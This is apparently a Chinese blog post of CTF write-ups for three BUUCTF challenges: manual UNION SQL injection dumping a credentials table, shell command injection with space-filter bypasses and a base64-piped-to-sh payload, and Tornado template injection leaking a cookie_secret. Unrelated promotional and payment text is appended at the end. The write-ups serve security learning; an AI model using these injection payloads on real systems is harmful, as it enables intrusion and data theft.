BUU刷题记录


一、LoveSQL

看到这个页面首先想到的就是万能密码呀,看到上面的一句话‘用sqlmap是没用灵魂的’ 英雄所见略同,说明就是手注么!
在这里插入图片描述
万能密码输入
在这里插入图片描述
发现可以注入,然后判断闭合符号和列数,
当输入

?username=admin' order by 4 #&password=1

发现报错没有第四列,而order by 3时却正常回显,说明只有三列
然后开始寻找注入点

?username=1' union select 1,2,3%23&password=1

这里不能username=admin,会回显不出注入点,而且只能用%23不能用#,可能#号被禁用了吧,%23能绕过,也有可能# &两个字符不能同时出现,希望大佬留言可以解答 叩谢!

在这里插入图片描述
发现2.3都是注入点

?username=1' union select 1,database(),3%23&password=1

库是geek
在这里插入图片描述

?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

得到表
在这里插入图片描述

?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1

注意这里的爆列时,库要用单引号扩起来
在这里插入图片描述
得到字段里的内容 id username password

?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=1

得到flag, flag不给
在这里插入图片描述

二、Ping Ping Ping

这个题发现考的比较全面 能够学到很多东西!

首先看到界面,然后让你ping ip地址,ping一下127.0.0.1

在这里插入图片描述

然后ls一下看一下所有目录
在这里插入图片描述
然后cat /flag
在这里插入图片描述
然后回显 确认你的符号 说明有的符号可能过滤了
然后cat /index
在这里插入图片描述

说明过滤了空格,空格可以用 ${IFS}$代替
在这里插入图片描述

发现不行,可能是过滤了{ } ,用 $IFS$1试一下
在这里插入图片描述
这里能明显的看见过滤的所有东西,bash flag字眼也没了,这里咱们试一下sh

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

Y2F0IGZsYWcucGhw是cat flag.php的base64-encode
这里后面的 |base64 -d|sh。 base64 -d 表示:从标准输入中读取已经进行base64编码的内容,解码输出。 “|”是管道符,代表将它左边的命令产生的输出作为标准输出,再作为右边命令的标准输入。 这里应该是把左边base64解码出的“cat flag.php”指令交给右边sh去执行。最终才会返回flag。
在这里插入图片描述
也可以拼接来实现

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

然后这里补充一下,.*?表示匹配到后面的一切字符,就结束。(非贪婪模式),flag四个字母逐个读,所以不能a=ag ,cat$IFS$1fl$a.php会出现报错,而且正则匹配,匹配一个字符串中,会按照是否按顺序出现过flag四个字母。
就比如

?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php 就会出现报错

在这里插入图片描述

三、easy_tornado

在这里插入图片描述

打开flag.txt,发现flag in /fllllllllllllag
在这里插入图片描述
打开welcome.txt
在这里插入图片描述
打开hints.txt
在这里插入图片描述
现在filename=/fllllllllllllag,只需要知道cookie_secret的既能访问flag。
构造payload获取cookie_secret

/error?msg={{handler.settings}}
'cookie_secret': 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r'

最后构造payload
···
file?filename=/fllllllllllllag&filehash=70aed71508e50d160a73756a21e9953d
···

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
4S店客户管理小程序-毕业设计,基于微信小程序+SSM+MySql开发,源码+数据库+论文答辩+毕业论文+视频演示 社会的发展和科学技术的进步,互联网技术越来越受欢迎。手机也逐渐受到广大人民群众的喜爱,也逐渐进入了每个用户的使用。手机具有便利性,速度快,效率高,成本低等优点。 因此,构建符合自己要求的操作系统是非常有意义的。 本文从管理员、用户的功能要求出发,4S店客户管理系统中的功能模块主要是实现管理员服务端;首页、个人中心、用户管理、门店管理、车展管理、汽车品牌管理、新闻头条管理、预约试驾管理、我的收藏管理、系统管理,用户客户端:首页、车展、新闻头条、我的。门店客户端:首页、车展、新闻头条、我的经过认真细致的研究,精心准备和规划,最后测试成功,系统可以正常使用。分析功能调整与4S店客户管理系统实现的实际需求相结合,讨论了微信开发者技术与后台结合java语言和MySQL数据库开发4S店客户管理系统的使用。 关键字:4S店客户管理系统小程序 微信开发者 Java技术 MySQL数据库 软件的功能: 1、开发实现4S店客户管理系统的整个系统程序; 2、管理员服务端;首页、个人中心、用户管理、门店管理、车展管理、汽车品牌管理、新闻头条管理、预约试驾管理、我的收藏管理、系统管理等。 3、用户客户端:首页、车展、新闻头条、我的 4、门店客户端:首页、车展、新闻头条、我的等相应操作; 5、基础数据管理:实现系统基本信息的添加、修改及删除等操作,并且根据需求进行交流信息的查看及回复相应操作。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值